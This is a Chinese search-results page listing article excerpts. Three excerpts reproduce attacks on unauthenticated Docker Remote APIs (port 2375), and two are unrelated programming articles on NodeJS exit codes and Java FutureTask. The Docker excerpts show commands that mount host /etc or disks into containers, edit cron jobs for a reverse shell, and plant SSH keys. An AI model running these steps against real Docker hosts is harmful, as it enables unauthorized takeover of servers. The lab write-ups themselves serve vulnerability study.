首页
学习
活动
专区
圈层
工具
发布
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Docker Daemon API未授权

    影响范围 Docker ALL 漏洞类型 未授权访问类 利用条件 影响范围应用 漏洞概述 Docker Remote API是一个取代远程命令行界面(RCLI)的REST API,当该接口直接暴漏在外网环境中且未作权限检查时...,攻击者可以通过恶意调用相关的API实现远程命令执行 漏洞复现 环境搭建 下载环境 mkdir docker cd docker wget https://raw.githubusercontent.com...images Step 3:之后创建一个轻量级镜像 docker -H tcp://192.168.17.140:2375 run -id alpine:latest Step 4:查看运行的容器信息获取对应的容器...192.168.17.140:2375 ps 物理主机 我们可以在创建容器时将物理主机的计划任务目录挂载到容器中的可写目录中,之后通过在容器中对计划任务进行编辑间接性实现对物理主机中计划任务的编辑,从而实现获取物理主机权限的目的...tmp目录下 docker -H tcp://192.168.17.140:2375 run -id -v /etc/:/tmp/etc alpine:latest Step 4:查看运行的容器信息获取对应的容器

    1.4K30

    获取 NodeJS 程序退出码

    那么对于一些意外推出的情况,如何来获取 exitCode ?每一个退出码又代表什么?今天我们就来学习一下。...通过 NodeJS 的 child_process 子进程获取退出码 child_process.fork() 方法是 child_process.spawn() 的特例,专门用于衍生新的 NodeJS...2: 未使用(由 Bash 保留用于内置误用) 3 内部 JavaScript 解析错误:NodeJS 引导过程中的内部 JavaScript 源代码导致解析错误。...8: 未使用。 在以前版本的 NodeJS 中,退出码 8 有时表示未捕获的异常。 9 无效参数:指定了未知选项,或者提供了需要值的选项而没有值。...总结 以上就是获取 NodeJS 程序退出码的方法以及退出码枚举。 ~ ~本文完,感谢阅读! ~ 学习有趣的知识,结识有趣的朋友,塑造有趣的灵魂!

    4.4K10

    Docker API未授权命令执行

    Docker Swarm使用标准的Docker API通过2375端口来管理每个Docker节点,Docker API是一个取代远程命令行界面(RCLI)的REST API。...当Docker节点的2375端口直接暴露并未做权限检查时,存在未授权访问漏洞,攻击者可以利用Docker API执行任何操作,包括执行Docker命令,创建、删除Docker以及获得宿主机权限等。...漏洞复现 访问目标的2375端口如下接口,若有信息,则存在Docker API未授权访问 http://x.x.x.x:2375/version http://x.x.x.x:2375/images http...docker -H tcp://10.211.55.18:2375 ps docker -H tcp://10.211.55.18:2375 exec -it e7d97caf249d /bin/bash 获取宿主机权限...我们可以执行如下命令启动一个未开启的容器,然后将宿主机的磁盘挂载到容器中。

    2.9K20

    Docker API未授权漏洞复现

    01 漏洞成因 如果在docker上配置了远程访问,docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制的话,攻击者就可以通过Docker未授权来控制服务器 02 漏洞搭建...所以在这里直接使用脚本利用计划任务来反弹shell 这里尝试一个反弹shell的操作: 其中10.211.55.23是Kali的ip地址 10.211.55.2是docekr的未授权端口 import...05 实战 这里来模拟测试开启Docker API未授权之后,使用密钥登陆受害者机器 5.1 配置Docker支持远程访问 在这里使用我自己的阿里云主机进行测试 首先要配置docker支持远程访问 进行文件备份...在桌面新建了一个ssh的文件夹,将生成的公钥保存在里面 注意在生成的密钥要保存的位置我这里是自定义的,如果不是自定义的话,可以一路回车,自定义的话,第一个要写文件路径,后面的也可以一路回车,然后在.ssh路径下获取文件...5.3 关闭Docker API未授权 将我们的authorized_keys文件删除,将原来的文件复位 rm authorized_keys mv authorized_keys.bak authorized_keys

    4.5K20

    获取任务的执行结果

    也说了,线程池的实现天生也实现了异步任务,允许直接向线程池中进行任务的提交与结果获取。 但是,我们始终没有去深入的了解下,异步任务框架对于任务执行的进度是如何监控的,任务执行的结果该如何获取。...outcome 是任务执行结束的返回值,runner 是正在执行当前任务的线程,waiters 是一个简单的单链表,维护的是所有在任务执行结束之前尝试调用 get 方法获取执行结果的线程集合。...而我们可以直接调用 get 方法去获取任务执行的结果,不过 get 方法是阻塞式的,一旦任务还未执行结束,当前线程将丢失 CPU 进而被阻塞到 Future 的内部队列上。...到这里,相信你也一定看出来了,FutureTask 实现的 Future 的弊端在 get 方法,这个方法非异步,如果没有成功获取到任务的执行结果就将直接阻塞当前线程,以等待任务的执行完成。...那么我们能不能阻塞,直接获取已经执行结束的任务 Future,而未完成的任务不允许获取它的 Future?

    2.1K10

    C# 实现访问 Web API Url 提交数据并获取处理结果

    应用场景 应用程序编程接口(Application Programming Interface,简称:API),是服务方定制开发一些预先定义的函数方法,并提供访问的方式及规则。...访问 API 的开发人员无需理解其内部工作机制,只根据服务方提供的说明及规则,提交参数数据,并获取有需要的处理结果。 Web API 是 Web 服务器和 Web 浏览器之间的应用程序处理接口。...我们常见的模式是访问 Web API Url 地址,POST 或 GET 所需要的参数数据,并获取 Json 、XML或其它指定格式的处理结果。...Url 的能力,方法返回字符串(即API返回的处理结果),另外WebService 类还提供了 ErrorMessage 属性,通过访问此属性是否为空以判断方法是否正确返回了处理结果,GetResponseResult...outstream.Write(data, 0, data.Length); outstream.Close(); //发送请求并获取相应回应数据

    92910
    领券